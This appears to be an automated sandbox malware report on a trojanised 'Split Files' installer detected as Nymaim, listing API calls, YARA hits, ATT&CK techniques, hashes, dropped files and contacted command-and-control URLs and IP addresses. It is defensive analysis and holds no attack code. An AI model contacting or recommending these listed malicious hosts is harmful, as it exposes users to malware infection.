Code function: 1_2_0042DF24 AllocateAndInitializeSid,GetVersion,GetModuleHandleA,GetProcAddress,CheckTokenMembership,GetCurrentThread,OpenThreadToken,GetLastError,GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLastError,GetTokenInformation,EqualSid,CloseHandle,FreeSid,

Source: HitFiles134.exe, 00000002.00000002.332310756.00000000034CF000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: HitFiles134.exe, 00000002.00000002.332310756.00000000034CF000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: program manager
Source: HitFiles134.exe, 00000002.00000002.332310756.00000000034CF000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: F.program manager

Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoA,
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoA,
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: GetLocaleInfoA,
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: GetLocaleInfoA,
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: GetKeyboardLayoutList,GetLocaleInfoA,__Init_thread_footer,
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: EnumSystemLocalesW,
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: EnumSystemLocalesW,
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: EnumSystemLocalesW,
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: EnumSystemLocalesW,
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: GetLocaleInfoW,
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: GetLocaleInfoW,
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: GetLocaleInfoW,
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,

Source: C:\Program Files (x86)\Split Files\HitFiles134.exe

Code function: 2_2_0040F7F3 cpuid

Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp

Code function: 1_2_004576D8 GetTickCount,QueryPerformanceCounter,GetSystemTimeAsFileTime,GetCurrentProcessId,CreateNamedPipeA,GetLastError,CreateFileA,SetNamedPipeHandleState,CreateProcessA,CloseHandle,CloseHandle,

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004026C4 GetSystemTime,

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00405C44 GetVersionExA,

Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp

Code function: 1_2_00454724 GetUserNameA,

Stealing of Sensitive Information

Yara detected Nymaim

Source: Yara match	File source: 2.2.HitFiles134.exe.32d0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.HitFiles134.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.HitFiles134.exe.32d0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.HitFiles134.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.332146458.0000000003330000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.330440301.0000000000400000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.332003406.00000000032D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Windows Management Instrumentation	Path Interception	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 Input Capture	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	2 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	3 Native API	Boot or Logon Initialization Scripts	1 Access Token Manipulation	11 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Input Capture	Exfiltration Over Bluetooth	2 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	12 Command and Scripting Interpreter	Logon Script (Windows)	13 Process Injection	3 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	23 Software Packing	NTDS	26 System Information Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	11 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	2 Masquerading	LSA Secrets	141 Security Software Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Access Token Manipulation	Cached Domain Credentials	3 Process Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	13 Process Injection	DCSync	11 Application Window Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	3 System Owner/User Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	5%	ReversingLabs	Win32.Backdoor.Generic

Dropped Files

Source	Detection	Scanner	Label
C:\Program Files (x86)\Split Files\HitFiles134.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Split Files\is-S7F6P.tmp	3%	ReversingLabs
C:\Program Files (x86)\Split Files\unins000.exe (copy)	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-CE3AQ.tmp\_isetup\_RegDLL.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-CE3AQ.tmp\_isetup\_iscrypt.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-CE3AQ.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-CE3AQ.tmp\_isetup\_shfoldr.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	2%	ReversingLabs
C:\Users\user\AppData\Roaming\{e6e9dfa8-98f2-11e9-90ce-806e6f6e6963}\3JCCsnPwg.exe	60%	ReversingLabs	Win32.Trojan.GenusAgent

Unpacked PE Files

Source	Detection	Scanner	Label	Download
0.3.file.exe.24e15a0.2.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
2.2.HitFiles134.exe.400000.1.unpack	100%	Avira	HEUR/AGEN.1250671	Download File
0.0.file.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen2	Download File
1.0.file.tmp.4cc934.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
1.2.file.tmp.400000.0.unpack	100%	Avira	HEUR/AGEN.1248792	Download File
0.3.file.exe.23f54dc.5.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
0.2.file.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen2	Download File
2.2.HitFiles134.exe.10000000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen8	Download File
1.2.file.tmp.4cc934.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.innosetup.com/	0%	URL Reputation	safe
http://www.remobjects.com/psU	0%	URL Reputation	safe
http://www.remobjects.com/ps	0%	URL Reputation	safe
http://www.remobjects.com/ps	0%	URL Reputation	safe
http://45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixinte	0%	URL Reputation	safe
http://107.182.129.235/storage/ping.php	0%	URL Reputation	safe
http://rus.altarsoft.com/split_files.shtml	0%	Avira URL Cloud	safe
http://171.22.30.106/library.php	100%	URL Reputation	malware
http://107.182.129.235/storage/extension.php	0%	URL Reputation	safe
http://www.altarsoft.com/split_files.shtml	0%	Avira URL Cloud	safe
http://171.22.30.106/library.php4	100%	Avira URL Cloud	malware
http://171.22.30.106/library.php.	100%	Avira URL Cloud	malware

Name	Malicious	Antivirus Detection	Reputation
http://45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixinte	true	URL Reputation: safe	unknown
http://107.182.129.235/storage/ping.php	true	URL Reputation: safe	unknown
http://171.22.30.106/library.php	true	URL Reputation: malware	unknown
http://107.182.129.235/storage/extension.php	true	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.innosetup.com/	file.tmp, file.tmp, 00000001.00000002.333746784.0000000000401000.00000020.00000001.01000000.00000004.sdmp, file.tmp.0.dr, is-S7F6P.tmp.1.dr	false	URL Reputation: safe	unknown
http://rus.altarsoft.com/split_files.shtml	file.tmp, 00000001.00000002.333569114.000000000018F000.00000004.00000010.00020000.00000000.sdmp, file.tmp, 00000001.00000002.334374587.0000000004620000.00000004.00001000.00020000.00000000.sdmp, is-ULQSL.tmp.1.dr, is-P2AUO.tmp.1.dr	false	Avira URL Cloud: safe	unknown
http://www.remobjects.com/psU	file.exe, 00000000.00000003.248037528.0000000002420000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.248226312.0000000002338000.00000004.00001000.00020000.00000000.sdmp, file.tmp, 00000001.00000002.333746784.0000000000401000.00000020.00000001.01000000.00000004.sdmp, file.tmp.0.dr, is-S7F6P.tmp.1.dr	false	URL Reputation: safe	unknown
http://www.remobjects.com/ps	file.exe, 00000000.00000003.248037528.0000000002420000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.248226312.0000000002338000.00000004.00001000.00020000.00000000.sdmp, file.tmp, file.tmp, 00000001.00000002.333746784.0000000000401000.00000020.00000001.01000000.00000004.sdmp, file.tmp.0.dr, is-S7F6P.tmp.1.dr	false	URL Reputation: safe URL Reputation: safe	unknown
http://www.altarsoft.com/split_files.shtml	file.tmp, 00000001.00000002.333569114.000000000018F000.00000004.00000010.00020000.00000000.sdmp, file.tmp, 00000001.00000002.334374587.0000000004620000.00000004.00001000.00020000.00000000.sdmp, is-7S1TU.tmp.1.dr, is-A3R8N.tmp.1.dr, is-UUBG5.tmp.1.dr, is-NN8RP.tmp.1.dr, is-7O8CS.tmp.1.dr, is-QV8JO.tmp.1.dr, is-JOJ80.tmp.1.dr, is-L1N1D.tmp.1.dr, is-BVH9M.tmp.1.dr, is-3NI9T.tmp.1.dr	false	Avira URL Cloud: safe	unknown
http://171.22.30.106/library.php.	HitFiles134.exe, 00000002.00000002.331582151.00000000017BC000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://171.22.30.106/library.php4	HitFiles134.exe, 00000002.00000002.331582151.00000000017BC000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
45.139.105.171	unknown	Italy	33657	CMCSUS	true
45.139.105.1	unknown	Italy	33657	CMCSUS	true
85.31.46.167	unknown	Germany	43659	CLOUDCOMPUTINGDE	true
107.182.129.235	unknown	Reserved	11070	META-ASUS	true
171.22.30.106	unknown	Germany	33657	CMCSUS	true

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	780214
Start date and time:	2023-01-08 16:10:43 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 51s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	file.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@12/40@0/5
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 16.9% (good quality ratio 16.4%) Quality average: 82.2% Quality standard deviation: 24%
HCA Information:	Successful, ratio: 97% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SgrmBroker.exe, conhost.exe, svchost.exe
TCP Packets have been reduced to 100
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
16:11:51	API Interceptor	1x Sleep call for process: 3JCCsnPwg.exe modified

Process:	C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	modified
Size (bytes):	3329876
Entropy (8bit):	5.493602162783093
Encrypted:	false
SSDEEP:	49152:lyQLPMeFkQhUzWSGRU2eZW6vX7K/mdl85BAsv:3jbKCFSGRxyWau+X85Bpv
MD5:	FB4704E7F6C63CAEB0D39F48B0792636
SHA1:	1C160A150531A66BD14F954EDE554C09B441A4F5
SHA-256:	FD620AFFADCC35DEA8917CEA19136E33BAC41C8F535757BD07947759D012E6BE
SHA-512:	E581AB41C0219D07A01F88A23578AC521338DC26AA8CC2A7C620A6024F4CC8EE8368A69DFA997BAAE2528DF7BFF188E3F15933A5AEA0F94D71D7CFAA4F13D9EB
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....c..........V..........0....................@...................................2.....................................t........P......................................................P...........................@............................text...R........................... ..`.rdata...(.......0..................@..@.data........0.......0..............@....tls.... ....@.......@..............@....rsrc........P.......P..............@..@.avh134...(..0..T.(..0..............`.-.................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Split Files\ReadMe - EN.txt (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp
File Type:	ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	2193
Entropy (8bit):	4.702648325021821
Encrypted:	false
SSDEEP:	24:ElZ5/fnS3LWjwbf2VQZl5HXvbap4qDwGApRAboaGnMAzPelJoEhLifJy:mZ3jwbf2V25HjcwGpbpGMaelXh2g
MD5:	EA42A2F0D0B4CBE042DE38568E18F1AC
SHA1:	58B2B523D4CCB03A07F9B1CB53250F3C6BA0B771
SHA-256:	AF9B99F745D2B2F3E688336C68F69C9CADF7E85BF443100DDA4EBB507D86155A
SHA-512:	6F202138BE4B009152A72AB671A4C5D3AE5580211EDE11F4E35B89F2F1EF58E8B8DBD35E9DA1D12B7ABDD3BFD4EE342541DE8DE2437D0FCEA77A1C5782AE0E2A
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	Split Files 1.72....Contents:....1. Description...2. History...3. Localization...4. Contacts.....-----------------------------------------------------------------....1. Description.....Fast and easy file splitter and joiner...Split files by parts size or parts number...Create .bat file to merge parts without program.....-----------------------------------------------------------------....2. Development History:....17.10.2010 - update to version 1.72....- large files splitting error fix (over 2 Gb)..- new language: turkish....9.02.2010 - update to version 1.71....- split and join options in windows explorer pop-up menu....16.01.2010 - update to version 1.7....- new languages: dutch, italian, spanish..- delete input file after splitting....3.01.2010 - update to version 1.6....- compression (zip)..- drag and drop..- french language..- arabic language..- interface was changed....18.11.2008 - update to version 1.5....- large files splitting error fix (over 1 Gb)..- output folder selection..

C:\Program Files (x86)\Split Files\ReadMe - RU.txt (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp
File Type:	ISO-8859 text, with very long lines (1053), with CRLF line terminators
Category:	dropped
Size (bytes):	2942
Entropy (8bit):	5.0506474169868945
Encrypted:	false
SSDEEP:	48:mRIjSLoZpLobGyYly6y4cMUNYzLEDa3dMSsXNBIi3Dl0r4k1z9bcX4Xl9asUvn6d:IW7Lob1YEgcMiDa3WN7BW1zLV1mngV4+
MD5:	58D65074A58BC8EAE2D5A3B589399A53
SHA1:	074E7E5BFD52200086309913670D49BA664FB279
SHA-256:	2F2487EDEEEA0D35394FD1C0B72D9C1FBF617DD014ED659083BDB0EFB12F6C90
SHA-512:	C0806DFC9DCD2A620693115679057B5374DEA3930E02F2B8DD1390C843D3F7C138CA8576CA35A5BCBEEA68E5CD9F5193C8D564A942C5A179DB9C5E6CAAA00266
Malicious:	false
Preview:	Split Files 1.72..............:....1. ...........2. ..........3. .............-----------------------------------------------------------------....1. ...................... ............. ... .......... ...... .. ..... ...... ..... . ............ .. .......... . ........ ..... ..... ..... ... ............ ... ........ ...... .. ......, ....... ........... ..... ........... ....... ... ........ .......... ....... ........ .... . .......... ... ..... ........... ..... ...... ........ ... ........ ..........: .. ..... ......, .. ....... ...... ...... ..... ..... ......... . ......, .........., .........., ........... ..... ....... .bat .... ... .......... ...... ... .......... ... ..... .......... ......... .bat .... . ..... ... ......... ..... ...... ... ............. . .bat ..... ........ ..... ........ ...... ..... ........ ...... ......... ...... ..... ..... ..... ..... ....., ........... zip ........... ... ...... ..... .......... ....... ...... ....., ....... ........ ........... ..

C:\Program Files (x86)\Split Files\is-NN8RP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp
File Type:	ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	2193
Entropy (8bit):	4.702648325021821
Encrypted:	false
SSDEEP:	24:ElZ5/fnS3LWjwbf2VQZl5HXvbap4qDwGApRAboaGnMAzPelJoEhLifJy:mZ3jwbf2V25HjcwGpbpGMaelXh2g
MD5:	EA42A2F0D0B4CBE042DE38568E18F1AC
SHA1:	58B2B523D4CCB03A07F9B1CB53250F3C6BA0B771
SHA-256:	AF9B99F745D2B2F3E688336C68F69C9CADF7E85BF443100DDA4EBB507D86155A
SHA-512:	6F202138BE4B009152A72AB671A4C5D3AE5580211EDE11F4E35B89F2F1EF58E8B8DBD35E9DA1D12B7ABDD3BFD4EE342541DE8DE2437D0FCEA77A1C5782AE0E2A
Malicious:	false
Preview:	Split Files 1.72....Contents:....1. Description...2. History...3. Localization...4. Contacts.....-----------------------------------------------------------------....1. Description.....Fast and easy file splitter and joiner...Split files by parts size or parts number...Create .bat file to merge parts without program.....-----------------------------------------------------------------....2. Development History:....17.10.2010 - update to version 1.72....- large files splitting error fix (over 2 Gb)..- new language: turkish....9.02.2010 - update to version 1.71....- split and join options in windows explorer pop-up menu....16.01.2010 - update to version 1.7....- new languages: dutch, italian, spanish..- delete input file after splitting....3.01.2010 - update to version 1.6....- compression (zip)..- drag and drop..- french language..- arabic language..- interface was changed....18.11.2008 - update to version 1.5....- large files splitting error fix (over 1 Gb)..- output folder selection..

C:\Program Files (x86)\Split Files\is-S7F6P.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	829726
Entropy (8bit):	6.385004526809536
Encrypted:	false
SSDEEP:	24576:zN/ac4cUrPN37qzHxA6odmL+tNE70tm8ffINgXEx982:zNSjrPN37qzHxA6odRkymJNVT
MD5:	72466399CE62027E57E8EA332EC2BE1B
SHA1:	5D91A70C78DB393947AFCACB35A5D82A78A2E9DC
SHA-256:	C6D9AFBD0C6A415D38F71573FD9B214C927538F53896E0DA3FFE830A991D4485
SHA-512:	2E5ACB1EE57AC29277E8443CDBF94A6938AF9358999FAB2BB7FC91EC5CDD3601E7997650474529ED9D0D43BCA3B6EA1D26009C603BAA89A176B0CCFE8E796AAF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................`...........k.......p....@..............................................@...............................%..................................................................................................................CODE....,^.......`.................. ..`DATA.........p.......d..............@...BSS..................v...................idata...%.......&...v..............@....tls.....................................rdata..............................@..P.reloc..............................@..P.rsrc...............................@..P.....................h..............@..P........................................................................................................................................

C:\Program Files (x86)\Split Files\is-ULQSL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp
File Type:	ISO-8859 text, with very long lines (1053), with CRLF line terminators
Category:	dropped
Size (bytes):	2942
Entropy (8bit):	5.0506474169868945
Encrypted:	false
SSDEEP:	48:mRIjSLoZpLobGyYly6y4cMUNYzLEDa3dMSsXNBIi3Dl0r4k1z9bcX4Xl9asUvn6d:IW7Lob1YEgcMiDa3WN7BW1zLV1mngV4+
MD5:	58D65074A58BC8EAE2D5A3B589399A53
SHA1:	074E7E5BFD52200086309913670D49BA664FB279
SHA-256:	2F2487EDEEEA0D35394FD1C0B72D9C1FBF617DD014ED659083BDB0EFB12F6C90
SHA-512:	C0806DFC9DCD2A620693115679057B5374DEA3930E02F2B8DD1390C843D3F7C138CA8576CA35A5BCBEEA68E5CD9F5193C8D564A942C5A179DB9C5E6CAAA00266
Malicious:	false
Preview:	Split Files 1.72..............:....1. ...........2. ..........3. .............-----------------------------------------------------------------....1. ...................... ............. ... .......... ...... .. ..... ...... ..... . ............ .. .......... . ........ ..... ..... ..... ... ............ ... ........ ...... .. ......, ....... ........... ..... ........... ....... ... ........ .......... ....... ........ .... . .......... ... ..... ........... ..... ...... ........ ... ........ ..........: .. ..... ......, .. ....... ...... ...... ..... ..... ......... . ......, .........., .........., ........... ..... ....... .bat .... ... .......... ...... ... .......... ... ..... .......... ......... .bat .... . ..... ... ......... ..... ...... ... ............. . .bat ..... ........ ..... ........ ...... ..... ........ ...... ......... ...... ..... ..... ..... ..... ....., ........... zip ........... ... ...... ..... .......... ....... ...... ....., ....... ........ ........... ..

C:\Program Files (x86)\Split Files\is-UUBG5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp
File Type:	MS Windows 95 Internet shortcut text (URL=<http://www.altarsoft.com/split_files.shtml>), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	97
Entropy (8bit):	5.12302231676258
Encrypted:	false
SSDEEP:	3:HRAbABGQYm/0S4UEtSNM5LTJOBCBuQpQQXXy:HRYFVm/r4UEtSeVTJuZQplHy
MD5:	DCD6923B008121BFF4C7C0AA1206286E
SHA1:	AD4EF16A96A80C8EA5DBC5933229580BC6C332E0
SHA-256:	E1E01BFA5E2B5A117A627F7E9E861CF63D852A66BCE0DF88094D59CAF61E4376
SHA-512:	EC4A399EB38A1FA64DF8990708168F134ACD0CA793930E57C6D3A260A537B20DFD9F8B7232987F32EC1C1A7CEC7EC91F15A644A63D275104D96588FC3D354B5C
Malicious:	false
Preview:	[InternetShortcut]..URL=http://www.altarsoft.com/split_files.shtml..Modified=500425EA770BCC01B2..

C:\Program Files (x86)\Split Files\is-VJ0TT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp
File Type:	data
Category:	dropped
Size (bytes):	3329876
Entropy (8bit):	5.493601539078126
Encrypted:	false
SSDEEP:	49152:ayQLPMeFkQhUzWSGRU2eZW6vX7K/mdl85BAsv:YjbKCFSGRxyWau+X85Bpv
MD5:	C2CB0AEC30FDBC7625C37C0A8AEF13BD
SHA1:	17FCA7B33467B180C158E452C47346D88D2D2762
SHA-256:	6C2D4B41D32263868461D16B9C81CFBF57CE48ACAFDAA563DCF4CD1362472080
SHA-512:	A366A0DC518AD232EF0919FA0E0345D430265FD7578D8274E995E2893909933B5965FD43335A1701F81E710B18CB0F6CC0C796F24D88024652992AE05BC73D0C
Malicious:	false
Preview:	.Z......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....c..........V..........0....................@...................................2.....................................t........P......................................................P...........................@............................text...R........................... ..`.rdata...(.......0..................@..@.data........0.......0..............@....tls.... ....@.......@..............@....rsrc........P.......P..............@..@.avh134...(..0..T.(..0..............`.-.................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Split Files\language\Arabic.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp
File Type:	ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	2266
Entropy (8bit):	5.4593359267896355
Encrypted:	false
SSDEEP:	48:HG8il+sqirh7zJ9YTHskp1r4phFAqLNnK9h:HGkSkp1r4NTKf
MD5:	4ABA9765EB3555788F5706D87A9D2DCA
SHA1:	36C0895FBF9F99690CA55C54CC56310E24513113
SHA-256:	E99B943206594C04BC0383669D04D4F191A501F46D2474FED08B997F8020B433
SHA-512:	3498485635AFC548663715D22071611BAB10C707E8E24BE0B5143EE4A27727DA7D18A5E6959E3F6DD7D0F615DDFD50CE9FC5CE8AE6DDC5BEE287B5A00A817288
Malicious:	false
Preview:	[Interface]....MFile->Caption = '...'..MExit->Caption =' ....'..MOptions->Caption = 'Options'..MSettings->Caption =' .........'..MLanguage->Caption =' ......'..MLangArabic->Caption = 'Arabic'..MLangChinese->Caption = 'Chinese'..MLangDutch->Caption = 'Dutch'..MLangEnglish->Caption =' .......'..MLangFrench->Caption = 'French'..MLangItalian->Caption = 'Italian'..MLangRussian->Caption = '....'..MLangSpanish->Caption = 'Spanish'..MLangTurkish->Caption = 'Turkish'..MHelp->Caption =' .......'..MAbout->Caption =' ...'....TabSheetSplit->Caption = ' ... .......'..TabSheetCombine->Caption = ' ...'....GroupBoxCombine->Caption =' ... .......'..LabelFirstFile->Caption = '..... .....:'..LabelOutput->Caption = '... ....:'..LabelCombineFolder->Caption =' .... ......:'..LabelSplitFolder->Caption = '.... ......:'..ButtonCombine->Caption =' ...'..ButtonStopCombine->Caption = '....'....GroupBoxSplit->Caption = '... .......'..LabelFileName->Caption =' ..... ...: '..LabelSplitFolder->Caption =' .... ......:'

C:\Program Files (x86)\Split Files\language\Chinese.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp
File Type:	ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	2345
Entropy (8bit):	5.847861612631974
Encrypted:	false
SSDEEP:	48:HGj2lE8qiTh7XJ9zHadtPTTD1n34q1jgun1ITq8K:HG5RDTln34qRgusK
MD5:	A5C9FEA89EFE8E2162BA477E8EA39B44
SHA1:	E6A2042C574D14786891F0C32F92C8292BBB4ACA
SHA-256:	8DDFB50DACA491296101BAB3DB9B77C7587127E684D9E22EFD6DC93F84A008FA
SHA-512:	3F7944F262717D308A1235982E741536DA6A4DF9ABEE4E2811E1151B53C3D31811EA3EB750ED39F347F7DF14AD20FF981C85CC2DA297BE745547B36D41B8FDB9
Malicious:	false
Preview:	[Interface]....MFile->Caption = '...(&F)'..MExit->Caption = '.......'..MOptions->Caption = '...'..MSettings->Caption = '....'..MLanguage->Caption = '....'..MLangArabic->Caption = 'Arabic'..MLangChinese->Caption = '........'..MLangDutch->Caption = 'Dutch'..MLangEnglish->Caption = 'English'..MLangFrench->Caption = 'French'..MLangItalian->Caption = 'Italian'..MLangRussian->Caption = 'Russian'..MLangSpanish->Caption = 'Spanish'..MLangTurkish->Caption = 'Turkish'..MHelp->Caption = '....'..MAbout->Caption = '....'....TabSheetSplit->Caption = '...'..TabSheetCombine->Caption = '...'....GroupBoxCombine->Caption = ' .......... "......" .............'..LabelFirstFile->Caption = '......'..LabelOutput->Caption = '..........'..LabelCombineFolder->Caption = '.........'..LabelSplitFolder->Caption = '.........'..ButtonCombine->Caption = '...'..ButtonStopCombine->Caption = '..'....GroupBoxSplit->Caption = ' .......... "......."............. '..LabelFileName->Caption = '.

C:\Program Files (x86)\Split Files\language\Dutch.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp
File Type:	ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	2687
Entropy (8bit):	5.051567814097503
Encrypted:	false
